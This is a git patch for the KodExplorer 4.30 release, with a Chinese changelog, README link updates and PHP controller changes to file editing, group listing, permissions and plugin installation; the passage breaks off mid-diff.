From c7e3fdbdb0728777731e044abd9b48010ef73ced Mon Sep 17 00:00:00 2001
From: warlee <824691958@qq.com>
Date: Thu, 5 Jul 2018 21:50:52 +0800
Subject: [PATCH] 4.30 release.
---
ChangeLog.md | 111 +++
README.md | 5 +-
app/api/sso.class.php | 10 +-
app/controller/app.class.php | 4 +
app/controller/desktop.class.php | 2 +-
app/controller/editor.class.php | 19 +-
app/controller/explorer.class.php | 67 +-
app/controller/pluginApp.class.php | 89 +-
app/controller/setting.class.php | 11 +-
app/controller/share.class.php | 30 +-
app/controller/systemGroup.class.php | 22 +-
app/controller/systemMember.class.php | 58 +-
app/controller/systemRole.class.php | 22 +-
app/controller/user.class.php | 37 +-
app/controller/util.php | 4 +-
app/core/Application.class.php | 6 +-
app/function/common.function.php | 177 ++--
app/function/file.function.php | 180 ++--
app/function/helper.function.php | 19 +-
app/function/others/JSON.php | 788 +++++++++++++++
app/function/web.function.php | 40 +-
app/kod/.cache_data | 2 -
app/kod/FileCache.class.php | 43 +-
app/kod/Hook.class.php | 4 +-
app/kod/KodArchive.class.php | 3 +-
app/kod/Mcrypt.class.php | 6 +-
app/kod/PluginBase.class.php | 29 +-
app/model/PluginModel.class.php | 9 +-
app/template/api/view.html | 3 +
app/template/common/footer.html | 2 +-
app/template/common/header.html | 22 +-
app/template/common/navbar.html | 14 +-
app/template/common/showTips.html | 85 ++
app/template/editor/edit.html | 9 +-
app/template/explorer/content.html | 92 +-
app/template/explorer/explorerWap.html | 28 +-
app/template/setting/index.html | 3 +
app/template/share/edit.html | 2 +-
app/template/share/editor.html | 2 +-
app/template/share/explorerWap.html | 23 +-
app/template/user/install.html | 9 +-
app/template/user/license.html | 17 +-
app/template/user/login.html | 27 +-
app/template/user/loginWap.html | 7 +-
config/config.php | 19 +-
config/i18n/ar/main.php | 55 +-
config/i18n/bg/main.php | 51 +-
config/i18n/bn/main.php | 55 +-
config/i18n/ca/main.php | 51 +-
config/i18n/cs/main.php | Bin 54238 -> 56587 bytes
config/i18n/da/main.php | Bin 52617 -> 54892 bytes
config/i18n/de/main.php | 51 +-
config/i18n/el/main.php | 51 +-
config/i18n/en/main.php | 51 +-
config/i18n/es/main.php | 51 +-
config/i18n/et/main.php | Bin 51960 -> 54278 bytes
config/i18n/fa/main.php | 55 +-
config/i18n/fi/main.php | Bin 53328 -> 55613 bytes
config/i18n/fr/main.php | 51 +-
config/i18n/gl/main.php | 51 +-
config/i18n/hi/main.php | 55 +-
config/i18n/hr/main.php | Bin 53436 -> 55790 bytes
config/i18n/hu/main.php | 51 +-
config/i18n/id/main.php | Bin 52820 -> 55083 bytes
config/i18n/it/main.php | 51 +-
config/i18n/ja/main.php | 55 +-
config/i18n/ko/main.php | Bin 55455 -> 57873 bytes
config/i18n/lt/main.php | 55 +-
config/i18n/nl/main.php | Bin 53933 -> 56266 bytes
config/i18n/no/main.php | Bin 52647 -> 54950 bytes
config/i18n/pl/main.php | Bin 54807 -> 57186 bytes
config/i18n/pt/main.php | 51 +-
config/i18n/ro/main.php | 51 +-
config/i18n/ru/main.php | 55 +-
config/i18n/si/main.php | 55 +-
config/i18n/sk/main.php | Bin 54533 -> 56875 bytes
config/i18n/sl/main.php | Bin 52646 -> 54926 bytes
config/i18n/sr/main.php | 55 +-
config/i18n/sv/main.php | Bin 53315 -> 55651 bytes
config/i18n/ta/main.php | 55 +-
config/i18n/th/main.php | 51 +-
config/i18n/tr/main.php | Bin 53322 -> 55716 bytes
config/i18n/uk/main.php | 51 +-
config/i18n/uz/main.php | Bin 53978 -> 56391 bytes
config/i18n/vi/main.php | 113 ++-
config/i18n/zh-CN/main.php | 61 +-
config/i18n/zh-TW/main.php | 99 +-
config/setting.php | 22 +-
config/version.php | 2 +-
plugins/DPlayer/app.php | 17 +
plugins/{googleDocs => DPlayer}/package.json | 75 +-
.../DPlayer/static/DPlayer/DPlayer.min.css | 59 ++
plugins/DPlayer/static/DPlayer/DPlayer.min.js | 2 +
.../static/DPlayer/lib/dash.all.min.js | 32 +
plugins/DPlayer/static/DPlayer/lib/flv.min.js | 7 +
plugins/DPlayer/static/DPlayer/lib/hls.min.js | 1 +
.../static/DPlayer/lib/webtorrent.min.js | 9 +
plugins/DPlayer/static/images/icon.png | Bin 0 -> 3033 bytes
plugins/DPlayer/static/main.js | 26 +
plugins/DPlayer/static/page.js | 78 ++
plugins/VLCPlayer/package.json | 2 +-
plugins/VLCPlayer/static/main.js | 2 +-
plugins/adminer/adminer/index.php | 2 +
plugins/adminer/package.json | 7 +
plugins/googleDocs/app.php | 32 -
plugins/googleDocs/i18n/en.php | 7 -
plugins/googleDocs/i18n/zh-CN.php | 7 -
plugins/googleDocs/static/images/icon.png | Bin 39384 -> 0 bytes
plugins/googleDocs/static/main.js | 13 -
plugins/imageExif/app.php | 68 ++
plugins/imageExif/i18n/en.php | 7 +
plugins/imageExif/i18n/zh-CN.php | 7 +
plugins/imageExif/package.json | 26 +
plugins/imageExif/static/main.js | 52 +
plugins/jPlayer/package.json | 4 +-
plugins/jPlayer/static/main.js | 74 +-
plugins/jPlayer/static/page.js | 15 +-
plugins/officeLive/package.json | 2 +-
plugins/officeLive/static/main.js | 2 +-
plugins/photoSwipe/package.json | 2 +-
plugins/photoSwipe/static/main.js | 5 +-
plugins/photoSwipe/static/page.js | 19 +-
plugins/picasa/package.json | 2 +-
plugins/picasa/static/page.js | 5 +
plugins/simpleClock/static/main.js | 2 +-
plugins/toolsCommon/static/pie/.pie.tif | 2 +
plugins/webodf/app.php | 24 +
plugins/webodf/package.json | 48 +
plugins/webodf/php/template.php | 33 +
plugins/webodf/static/images/screenshot1.png | Bin 0 -> 149879 bytes
plugins/webodf/static/images/screenshot2.png | Bin 0 -> 194733 bytes
plugins/webodf/static/main.js | 20 +
plugins/webodf/static/webodf.js | 895 ++++++++++++++++++
plugins/yzOffice/app.php | 29 +-
plugins/yzOffice/i18n/en.php | 2 +-
plugins/yzOffice/i18n/zh-CN.php | 2 +-
plugins/yzOffice/package.json | 2 +-
plugins/yzOffice/php/assign/footer.php | 6 +-
plugins/yzOffice/php/assign/header.php | 22 +-
plugins/yzOffice/php/template.php | 4 +-
plugins/yzOffice/php/yzOffice.class.php | 13 +-
plugins/yzOffice/php/yzOffice2.class.php | 49 +-
plugins/yzOffice/static/main.js | 2 +-
.../images/common/dialog/dialog_loading-.gif | Bin 0 -> 8570 bytes
.../images/common/dialog/dialog_loading.gif | Bin 8570 -> 11536 bytes
static/images/common/ico.ico | Bin 4286 -> 0 bytes
static/images/common/loading_simple.gif | Bin 3489 -> 11536 bytes
static/images/common/logo.png | Bin 58046 -> 0 bytes
static/images/common/menu_icon@2x.png | Bin 0 -> 175543 bytes
.../file_icon/icon_others/folder_mac2.png | Bin 4988 -> 0 bytes
.../file_icon/icon_others/folder_win7.png | Bin 6592 -> 0 bytes
static/images/wall_page/11.jpg | Bin 153542 -> 153601 bytes
static/images/wall_page/7.jpg | Bin 165455 -> 175128 bytes
static/images/wall_page/thumb/1.jpg | Bin 1670 -> 0 bytes
static/images/wall_page/thumb/10.jpg | Bin 5436 -> 0 bytes
static/images/wall_page/thumb/11.jpg | Bin 3660 -> 0 bytes
static/images/wall_page/thumb/12.jpg | Bin 3244 -> 0 bytes
static/images/wall_page/thumb/13.jpg | Bin 1712 -> 0 bytes
static/images/wall_page/thumb/2.jpg | Bin 2154 -> 0 bytes
static/images/wall_page/thumb/3.jpg | Bin 3637 -> 0 bytes
static/images/wall_page/thumb/4.jpg | Bin 3934 -> 0 bytes
static/images/wall_page/thumb/5.jpg | Bin 6910 -> 0 bytes
static/images/wall_page/thumb/6.jpg | Bin 2359 -> 0 bytes
static/images/wall_page/thumb/7.jpg | Bin 3094 -> 0 bytes
static/images/wall_page/thumb/8.jpg | Bin 4902 -> 0 bytes
static/images/wall_page/thumb/9.jpg | Bin 2304 -> 0 bytes
static/js/app/src/api/default/main.js | 6 +-
static/js/app/src/api/view/main.js | 6 +-
static/js/app/src/app/main.js | 6 +-
static/js/app/src/desktop/main.js | 11 +-
static/js/app/src/edit/main.js | 9 +-
static/js/app/src/editor/main.js | 9 +-
static/js/app/src/explorer/main.js | 11 +-
static/js/app/src/explorerWap/main.js | 8 +-
static/js/app/src/plugins/main.js | 7 +-
static/js/app/src/plugins/tpl/main.js | 2 -
static/js/app/src/setting/main.js | 9 +-
static/js/app/src/shareEditor/main.js | 8 +-
static/js/app/src/shareExplorer/main.js | 11 +-
static/js/app/src/shareIndex/main.js | 7 +-
static/js/app/src/user/main.js | 6 +-
static/js/lib/ace/src-min-noconflict/ace.js | 4 +-
.../ace/src-min-noconflict/ext-beautify.js | 409 +++++++-
static/js/lib/artDialog/jquery-artDialog.js | 55 +-
static/js/lib/jquery-lib.js | 15 +-
static/js/lib/util.js | 302 +++---
.../style/font-awesome/css/font-awesome.css | 2 +-
static/style/login.css | 4 +-
static/style/skin/alpha_image.css | 4 +-
static/style/skin/alpha_image_sky.css | 4 +-
static/style/skin/alpha_image_sun.css | 4 +-
static/style/skin/base/app_code_edit.css | 8 +-
static/style/skin/base/app_desktop.css | 10 +-
static/style/skin/base/app_editor.css | 8 +-
static/style/skin/base/app_explorer.css | 10 +-
static/style/skin/base/app_setting.css | 8 +-
static/style/skin/base/common.css | 1 +
static/style/skin/base/fileIcon.css | 1 +
static/style/skin/diy.css | 4 +-
static/style/skin/mac.css | 4 +-
static/style/skin/metro.css | 4 +-
static/style/skin/metro_green.css | 4 +-
static/style/skin/metro_orange.css | 4 +-
static/style/skin/metro_pink.css | 4 +-
static/style/skin/metro_purple.css | 4 +-
static/style/skin/win10.css | 4 +-
static/style/skin/win7.css | 4 +-
static/style/wap/app_explorer.css | 773 +++++++++++++--
static/style/wap/login.css | 16 +-
209 files changed, 6052 insertions(+), 1283 deletions(-)
create mode 100755 app/function/others/JSON.php
delete mode 100755 app/kod/.cache_data
create mode 100755 app/template/common/showTips.html
create mode 100755 plugins/DPlayer/app.php
rename plugins/{googleDocs => DPlayer}/package.json (50%)
create mode 100755 plugins/DPlayer/static/DPlayer/DPlayer.min.css
create mode 100755 plugins/DPlayer/static/DPlayer/DPlayer.min.js
create mode 100755 plugins/DPlayer/static/DPlayer/lib/dash.all.min.js
create mode 100755 plugins/DPlayer/static/DPlayer/lib/flv.min.js
create mode 100755 plugins/DPlayer/static/DPlayer/lib/hls.min.js
create mode 100755 plugins/DPlayer/static/DPlayer/lib/webtorrent.min.js
create mode 100755 plugins/DPlayer/static/images/icon.png
create mode 100755 plugins/DPlayer/static/main.js
create mode 100755 plugins/DPlayer/static/page.js
delete mode 100755 plugins/googleDocs/app.php
delete mode 100755 plugins/googleDocs/i18n/en.php
delete mode 100755 plugins/googleDocs/i18n/zh-CN.php
delete mode 100755 plugins/googleDocs/static/images/icon.png
delete mode 100755 plugins/googleDocs/static/main.js
create mode 100755 plugins/imageExif/app.php
create mode 100755 plugins/imageExif/i18n/en.php
create mode 100755 plugins/imageExif/i18n/zh-CN.php
create mode 100755 plugins/imageExif/package.json
create mode 100755 plugins/imageExif/static/main.js
create mode 100755 plugins/toolsCommon/static/pie/.pie.tif
create mode 100755 plugins/webodf/app.php
create mode 100755 plugins/webodf/package.json
create mode 100755 plugins/webodf/php/template.php
create mode 100755 plugins/webodf/static/images/screenshot1.png
create mode 100755 plugins/webodf/static/images/screenshot2.png
create mode 100755 plugins/webodf/static/main.js
create mode 100755 plugins/webodf/static/webodf.js
create mode 100755 static/images/common/dialog/dialog_loading-.gif
delete mode 100755 static/images/common/ico.ico
delete mode 100755 static/images/common/logo.png
create mode 100755 static/images/common/menu_icon@2x.png
delete mode 100755 static/images/file_icon/icon_others/folder_mac2.png
delete mode 100755 static/images/file_icon/icon_others/folder_win7.png
delete mode 100755 static/images/wall_page/thumb/1.jpg
delete mode 100755 static/images/wall_page/thumb/10.jpg
delete mode 100755 static/images/wall_page/thumb/11.jpg
delete mode 100755 static/images/wall_page/thumb/12.jpg
delete mode 100755 static/images/wall_page/thumb/13.jpg
delete mode 100755 static/images/wall_page/thumb/2.jpg
delete mode 100755 static/images/wall_page/thumb/3.jpg
delete mode 100755 static/images/wall_page/thumb/4.jpg
delete mode 100755 static/images/wall_page/thumb/5.jpg
delete mode 100755 static/images/wall_page/thumb/6.jpg
delete mode 100755 static/images/wall_page/thumb/7.jpg
delete mode 100755 static/images/wall_page/thumb/8.jpg
delete mode 100755 static/images/wall_page/thumb/9.jpg
delete mode 100755 static/js/app/src/plugins/tpl/main.js
create mode 100755 static/style/skin/base/common.css
create mode 100755 static/style/skin/base/fileIcon.css
diff --git a/ChangeLog.md b/ChangeLog.md
index 186f670..b135647 100755
--- a/ChangeLog.md
+++ b/ChangeLog.md
@@ -1,3 +1,114 @@
+### ver4.30 `2018/07/05`
+-----
+#### update:
+- 文件管理
+ - 并发读写文件数据异常问题解决
+ - 选中文件,自动出现快捷操作工具栏
+ - icon列表模式,排序方式菜单按钮
+ - 扩展名限制自动处理
+ - 文档排序自然排序数字优化
+ - 文件名结尾为空格时处理:文件操作、列表图标等处理
+ - 正序倒序文件夹都在前面;
+ - 新建文件、文件夹;根据语言自动命名。
+ - 新建office文档直接放在右键中;去除无关扩展名新建 【新建Word/Excle/PowerPoint 文档】
+ - 优化所有文件小图标显示:文件列表、右键菜单、对话框标题、标签栏图标等
+ - 文件、文件夹属性优化:文件大小优化,非管理员隐藏真实权限相关内容
+ - 新建文件和新建文件夹时,不输入文件名称,提示创建文件/文件夹成功,实际上目录下未出现文件夹/文件
+ - 文件搜索样式、筛选逻辑优化
+- 系统及用户管理优化
+ - 壁纸管理优化:登陆背景管理、桌面壁纸管理;
+ - 记住密码优化本地存储;登陆密码传输加密
+ - 用户管理支持批量设置用户空间大小
+ - 用户昵称支持;
+ - 用户新建修改;部门新建修改、部门权限组新建修改、部门新建修改;名称不能为空格
+ - 设置部门优化: 部门只展开第一层级;设置用户部门自动展开到对应层级
+ - 部门编辑,添加自己到子部门排除检测;
+ - 系统管理员角色设置,隐藏设置项
+ - 权限细节优化;部门下载权限,屏蔽相关入口(浏览器打开,zip文件内容下载)
+ - 批量添加用户有重复时,列表自动刷新处理;
+- 上传优化:
+ - 文件分片上传速度优化
+ - 上传对话框关闭继续后台上传,上传完成自动隐藏对话框
+ - 上传是否成功大小校验,空文件上传处理,报错提示及报错相关优化。
+ - 权限前置判断:没有部门上传权限提前判断,空间不足提前判断
+ - 文件夹上传,部分文件上传到文件夹外面的问题;
+ - 文件大小为0时目录不存在则自动处理;
+- 分享优化:
+ - 分享页面等打开方式统一优化处理,移动端打开方式按优先级处理;移动端office打开方式优化处理
+ - 分享页面打印样式优化,针对文本、markdown专门处理
+ - 加密码分享内容内部成员不可见;
+ - 系统设置关闭用户列表则不展示用户分享数据;
+ - 文件夹分享设置可上传,移动端没有上传处理
+ - 分享文件重名时,文件预览打开方式关联失败;分享禁用下载时隐藏下载按钮;分享office支持onlyoffice预览;
+ - 移动端打开需要密码的分享页面,输入密码问题;微信中图片分享优化;
+ - 分享创建优化;加入快速复制分享链接;保存后自动关闭
+- 编辑器优化:
+ - 新增开发相关实用工具:插入时间;繁简转换;base64编解码;URL编解码;文字选中生成二维码;md5等
+ - 新增自由计算功能(实时编译执行)。
+ - 编辑器打开文件,编辑器对话框置顶;
+ - 编辑器着色优化;php格式化太长时优化处理。
+ - 编辑器底部显示文件编码,点击切换、修改编码
+ - 授权版:编辑器帮助中隐藏: 关于,了解更多
+ - php格式化优化;
+ - markdown编辑右侧工具栏菜单展开按钮点击自动显示隐藏;
+ - markdown优化:打印样式处理;标题标签自动加入锚点跳转(分享页面、下载html统一处理)
+ - 编辑器自动保存支持;配置开关
+ - 其他优化:tab新增右键新窗口打开;新打开时不显示帮助,入口可加到工具栏
+- API 功能接口增强
+ - 文件选择API优化:自动筛选符合选择的内容(同时支持双击打开、右键操作);移动端优化;返回值功能增强
+ - 支持通过用户名获取用户信息。
+ - 通用文件预览组件,预览未知文件处理;
+ - hook绑定点加入show_json;
+- 插件增强及优化
+ - 插件更新红点提示,新增一键更新
+ - 插件安装更新链接请求走后端,提升安全性
+ - 插件安装卸载权限加入权限体系
+ - ofd,djvu 文件格式支持在线预览。客户端实时渲染,支持文本选中复制。
+ - 视频播放器新增内置Dplayer;体验优化,支持弹幕、支持自动挂载字幕;
+ - PSD/AI 等文件在线预览;视频缩略图生成;中文路径兼容linux,windows;检测问题提示;可执行文件可以手动指定;
+ - 永中officedoc预览大纲,打印;样式优化;点聚office编辑保存生成历史版本记录
+ - 音乐播放有概率出现.mp3格式的音乐无法播放的情况,一直在缓冲中,重启打开一次后,音乐正常播放
+ - office配置自适应ip、端口处理
+ - 插件重新启用(或升级);配置数据还原的问题
+ - PSD在线预览插件优化;安装部署教程
+ - 域账户插件:支持数据库存储;默认存储
+- 其他优化:
+ - 界面样式诸多细节优化
+ - 回收站文件右键菜单处理;
+ - 右键菜单小图标样式优化;
+ - 宽度不足时不显示文件选中时快捷菜单。
+ - json_encode/json_decode 服务器兼容;
+ - 页面加载、对话框加载loading处理优化
+ - nginx自目录绑定相关url不一致问题兼容;nginx反向代理端口、url等跳转问题兼容
+ - 优化对话框弹出层,iframe全屏调用问题
+ - 对话框中iframe加载持续未完成loading自动隐藏处理
+ - 一键清理Win中文乱码问题,清空位置完善
+ - 移动端菜单中加入剪切功能;
+ - https 优化;
+
+#### fix bug
+- 搜索界面文件类型筛选条件不生效,筛选gif搜索了其他类型文件,文件类型筛选条件未生效
+- 新建部门创建文件夹从配置读取失败问题;
+- 移动端上传取消提示文字优化
+- 编辑器对话框,未保存文件关闭提示;
+- 多选打开文件,进入了打开方式
+- 移动端音乐播放界面最小化后,无法快速的恢复到窗口模式
+- 插件设置多次打开保存配置失败问题解决
+- 搜索文件内容报错问题,程序信息不显示任务栏,文件属性项目加入标记,文字修改:登陆==>登录;
+- DIY主题样式显示问题;
+- 搜索路径为空时优化处理,搜索文件内容json输出时乱码问题解决;
+- 勾选用户所在部门窗口,权限组名长导致换行问题,支持放大缩小。
+- dockeroffice 重启脚本优化
+- 视频、psd等缩略图浏览器缓存处理
+- 浏览器兼容处理:
+ - Edge 浏览器样式优化处理
+ - IE上传下拉菜单——上传文件item被隐藏了
+ - IE上传进度条不匹配百分比问题
+ - IE第二次双击打开视频,出现“没有支持此文件的应用”
+ - ios系统safari登录问题优化
+
+
+
### ver4.25 `2017/12/01`
-----
#### update:
diff --git a/README.md b/README.md
index 3e4d302..bdf7579 100755
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
# KodExplorer
-[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kodcloud.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kodcloud.com) [![Download](http://kodcloud.com/tools/version/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip)
+[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kodcloud.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kodcloud.com) [![Download](http://api.kodcloud.com/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip)
> KodExplorer is a file manager for web. It is also a web code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available.
@@ -11,8 +11,7 @@
### [Demo](http://demo.kodcloud.com/) [user: demo/demo]
-----
- [Change log](./ChangeLog.md)
-- [English Document](http://kodcloud.com#lang=en)
-- [中文文档](http://kodcloud.com/#lang=zh_CN)
+- [Document/开发文档](http://doc.kodcloud.com/)
- [Donate](https://www.paypal.me/kalcaddle)
### Source code
diff --git a/app/api/sso.class.php b/app/api/sso.class.php
index fe9e9ea..4fc54cc 100755
--- a/app/api/sso.class.php
+++ b/app/api/sso.class.php
@@ -1,6 +1,10 @@
config['settingSystem']['desktopFolder']){
+ return;
+ }
$list = $this->sql->get();
$newUserApp = $this->config['settingSystem']['newUserApp'];
$default = explode(',',$newUserApp);
diff --git a/app/controller/desktop.class.php b/app/controller/desktop.class.php
index 8374368..62acc1f 100755
--- a/app/controller/desktop.class.php
+++ b/app/controller/desktop.class.php
@@ -14,7 +14,7 @@ class desktop extends Controller{
$wap = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1');
$desktopApps = include(DATA_PATH.'system/desktop_app.php');
$wall = $this->config['user']['wall'];
- if(strlen($wall)<3){
+ if( !strstr($wall,'/') ){
$wall = STATIC_PATH.'images/wall_page/'.$wall.'.jpg';
}
diff --git a/app/controller/editor.class.php b/app/controller/editor.class.php
index 2de5fd4..f9ab92d 100755
--- a/app/controller/editor.class.php
+++ b/app/controller/editor.class.php
@@ -72,14 +72,14 @@ class editor extends Controller{
if (!path_readable($filepath)){
show_json(LNG('no_permission_read_all'),false);
}
- if (filesize($filepath) >= 1024*1024*40){
+ if (filesize($filepath) >= 1024*1024*20){
show_json(LNG('edit_too_big'),false);
}
}
$fileContents=file_get_contents($filepath);//文件内容
//echo $fileContents;exit;
- if(isset($this->in['charset'])){
+ if(isset($this->in['charset']) && $this->in['charset']){
$charset = strtolower($this->in['charset']);
}else{
$charset = get_charset($fileContents);
@@ -95,20 +95,9 @@ class editor extends Controller{
'name' => iconv_app(get_path_this($displayName)),
'filename' => $displayName,
'charset' => $charset,
- 'base64' => false,
- 'content' => $fileContents
+ 'base64' => true,// 部分防火墙编辑文件误判问题处理
+ 'content' => base64_encode($fileContents)
);
- // 部分防火墙编辑文件误判问题处理
- //if(!json_encode(array("data"=>$fileContents))){
- $data['content'] = base64_encode($fileContents);
- $data['base64'] = true;
- //}
-
- // $data['size_before'] = filesize($filepath);
- // $data['size_after'] = strlen($fileContents);
- // $data['hex_before'] = bin2hex(file_get_contents($filepath));
- // $data['hex_after'] = bin2hex($fileContents);
- // $data['content_before'] = $fileContents;
show_json($data);
}
public function fileSave(){
diff --git a/app/controller/explorer.class.php b/app/controller/explorer.class.php
index 212afc8..af8e12c 100755
--- a/app/controller/explorer.class.php
+++ b/app/controller/explorer.class.php
@@ -29,7 +29,7 @@ class explorer extends Controller{
public function index(){
$dir = '';
if(isset($this->in['path']) && $this->in['path'] !=''){
- $dir = _DIR_CLEAR($_GET['path']);
+ $dir = _DIR_CLEAR($this->in['path']);
$dir = rtrim($dir,'/').'/';
}
$this->assign('dir',$dir);
@@ -81,6 +81,10 @@ class explorer extends Controller{
isset($this->in['viewPage'])){
$data['downloadPath'] = _make_file_proxy($file);
}
+ //所在部门,下载权限检测
+ if($GLOBALS['kodPathRoleGroupAuth'] && !$GLOBALS['kodPathRoleGroupAuth']['explorer.fileDownload']){
+ unset($data['downloadPath']);
+ }
if($data['size'] < 100*1024|| isset($this->in['getMd5'])){//100kb
$data['fileMd5'] = @md5_file($file);
}else{
@@ -130,6 +134,10 @@ class explorer extends Controller{
$repeatType = $this->in['repeat_type'];
}
$new= rtrim($this->path,'/');
+ $parent = get_path_father($this->path);
+ if(!file_exists($parent)){
+ mk_dir($parent);
+ }
$new = get_filename_auto($new,'',$repeatType);//已存在处理 创建副本
Hook::trigger("explorer.mkfileBefore",$new);
if(@touch($new)){
@@ -285,22 +293,21 @@ class explorer extends Controller{
}
}
- //用户根目录
+ //部门根目录
private function _selfGroupLoad(&$root){
foreach ($root as $key => $value) {
- if($value['name'] == 'share'){
+ if($value['name'] == $GLOBALS['config']['settingSystem']['groupShareFolder']){
$root[$key] = array(
- 'name' => LNG('group_share'),
- 'menuType' => "menu-folder folder-box",
- 'ext' => "folder-share",
- 'isParent' => true,
+ 'name' => LNG('group_share'),
+ 'menuType' => "menu-folder folder-box",
+ 'ext' => "folder-share",
'isReadable' => true,
'isWriteable' => true,
- 'path' => KOD_GROUP_PATH.':'.$GLOBALS['kodPathId'].'/share/',
- 'type' => 'folder',
- 'open' => false,
- 'isParent' => false
+ 'path' => $value['path'],
+ 'type' => 'folder',
+ 'open' => false,
+ 'isParent' => $value['isParent']
);
break;
}
@@ -404,7 +411,6 @@ class explorer extends Controller{
'isParent' => count($project)>0?true:false)
);
show_json($treeData);
- return;
}
$checkFile = ($app == 'editor'?true:false);
$fav = $this->_treeFav($app);
@@ -526,6 +532,13 @@ class explorer extends Controller{
show_json($result);
}
+ private function _rootListGroup(){
+ return $this->config['settingSystem']['rootListGroup'] == 1;
+ }
+ private function _rootListUser(){
+ return $this->config['settingSystem']['rootListUser'] == 1;
+ }
+
//session记录用户可以管理的组织;继承关系
private function _groupTree($nodeId){//获取组织架构的用户和子组织;为空则获取根目录
$groupSql = systemGroup::loadData();
@@ -533,11 +546,11 @@ class explorer extends Controller{
$groupList = $this->_makeNodeList($groups);
//根群组不显示子群组
- if( $nodeId == '1' && !$this->config['settingSystem']['rootListGroup']){
+ if( $nodeId == '1' && !$this->_rootListGroup() ){
$groupList = array();
}
//根群组不显示用户
- if( $nodeId == '1' && !$this->config['settingSystem']['rootListUser']){
+ if( $nodeId == '1' || !$this->_rootListUser() ){
return $groupList;
}
@@ -589,8 +602,10 @@ class explorer extends Controller{
$treeIcon = 'group-self';
}
$hasChildren = true;
- $userList = systemMember::userAtGroup($val['groupID']);
-
+ $userList = array();
+ if( $this->_rootListUser() ){
+ $userList = systemMember::userAtGroup($val['groupID']);
+ }
if(count($userList)==0 && $val['children']==''){
$hasChildren = false;
}
@@ -888,7 +903,7 @@ class explorer extends Controller{
Hook::trigger("explorer.pathRemoveBefore",$path,false);
del_file($path);
- Hook::trigger("explorer.pathRemoveAfter",$path);
+ //Hook::trigger("explorer.pathRemoveAfter",$path);
}
public function zipDownload(){
$userTemp = iconv_system(USER_TEMP);
@@ -1027,7 +1042,8 @@ class explorer extends Controller{
exit;
}
if (@filesize($this->path) <= 1024*50 ||
- !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图
+ !function_exists('imagecolorallocate') ||
+ get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图
file_put_out($this->path,false);
return;
}
@@ -1155,9 +1171,11 @@ class explorer extends Controller{
$fullPath = _DIR_CLEAR(rawurldecode($this->in['fullPath']));
$fullPath = get_path_father($fullPath);
$fullPath = iconv_system($fullPath);
- if ($this->_mkdir($savePath.$fullPath)) {
- $savePath = $savePath.$fullPath;
- }
+ $savePath = $savePath.$fullPath;
+ mk_dir($savePath);
+ // if ($this->_mkdir($savePath.$fullPath)) {
+ // $savePath = $savePath.$fullPath;
+ // }
}
//分片上传
$repeatAction = $this->config['user']['fileRepeat'];
@@ -1170,7 +1188,12 @@ class explorer extends Controller{
//分享根目录
private function _pathShare(&$list){
$arr = explode(',',$GLOBALS['kodPathId']);
- $shareList = systemMember::userShareList($arr[0]);
+
+ //不展示用户时;屏蔽获取其他人分享列表
+ if( $arr[0] != $_SESSION['kodUser']['userID'] && !$this->_rootListUser()){
+ return;
+ }
+ $shareList = systemMember::userShareList($arr[0]);
$beforeShareId = $GLOBALS['kodPathIdShare'];
foreach ($shareList as $key => $value) {
$thePath = _DIR(KOD_USER_SHARE.':'.$arr[0].'/'.$value['name']);
diff --git a/app/controller/pluginApp.class.php b/app/controller/pluginApp.class.php
index 5b77be9..64e9b5e 100755
--- a/app/controller/pluginApp.class.php
+++ b/app/controller/pluginApp.class.php
@@ -27,12 +27,18 @@ class pluginApp extends Controller{
}
$model = $this->loadModel('Plugin');
if(!$model->checkAuth($app)){
- show_tips("Plugin not open,or you have't permission[".$app."]");
+ if(!$_SESSION['kodLogin']){
+ show_tips("出错了!您尚未登录",APP_HOST,3);
+ }
+ show_tips("出错了!插件未开启,或您没有{$app}插件的权限");
}
$appConfig = $model->getConfig($app);
if(!$appConfig['pluginAuthOpen'] && !$this->checkAccessPlugin()){
- show_tips("Sorry! You have't permission[".$app."]");
+ if(!$_SESSION['kodLogin']){
+ show_tips("出错了!您尚未登录",APP_HOST,3);
+ }
+ show_tips("出错了!插件未开启,或您没有{$app}插件的权限");
}
Hook::apply($app.'Plugin.'.$action);
}
@@ -73,7 +79,7 @@ class pluginApp extends Controller{
public function changeStatus(){
if( !isset($this->in['app']) ||
!isset($this->in['status'])){
- show_json(LNG('error'),false);
+ show_json(LNG('data_not_full'),false);
}
$app = $this->in['app'];
$status = $this->in['status']?1:0;
@@ -97,7 +103,7 @@ class pluginApp extends Controller{
show_json('needConfig',false);
}
}
- $model->changeStatus($app,$this->in['status']);
+ $model->changeStatus($app,$status);
$list = $model->viewList();
show_json($list);
}
@@ -105,7 +111,7 @@ class pluginApp extends Controller{
public function setConfig(){
if( !$this->in['app'] ||
!$this->in['value']){
- show_json(LNG('error'),false);
+ show_json(LNG('data_not_full'),false);
}
$json = $this->in['value'];
$app = $this->in['app'];
@@ -124,13 +130,82 @@ class pluginApp extends Controller{
show_json(LNG('success'));
}
- //install [download=>unzip=>regiest,install=>changeStatus]
+ // download=>fileSize=>unzip=>remove
public function install(){
+ $app = _DIR_CLEAR($this->in['app']);
+ $appPath = PLUGIN_DIR.$app.'.zip';
+ $appPathTemp = $appPath.'.downloading';
+ switch($this->in['step']){
+ case 'check':
+ $info = $this->pluginInfo($app);
+ if(!is_array($info)){
+ show_json(false,false);
+ }
+ echo json_encode($info);
+ break;
+ case 'download':
+ if(!is_writable(PLUGIN_DIR)){
+ show_json(LNG("no_permission_write").': '.PLUGIN_DIR,false);
+ }
+ $info = $this->pluginInfo($app);
+ if(!$info || !$info['code']){
+ show_json(LNG('error'),false);
+ }
+ $result = Downloader::start($info['data'],$appPath);
+ show_json($result['data'],!!$result['code'],$app);
+ break;
+ case 'fileSize':
+ if(file_exists($appPath)){
+ show_json(filesize($appPath));
+ }
+ if(file_exists($appPathTemp)){
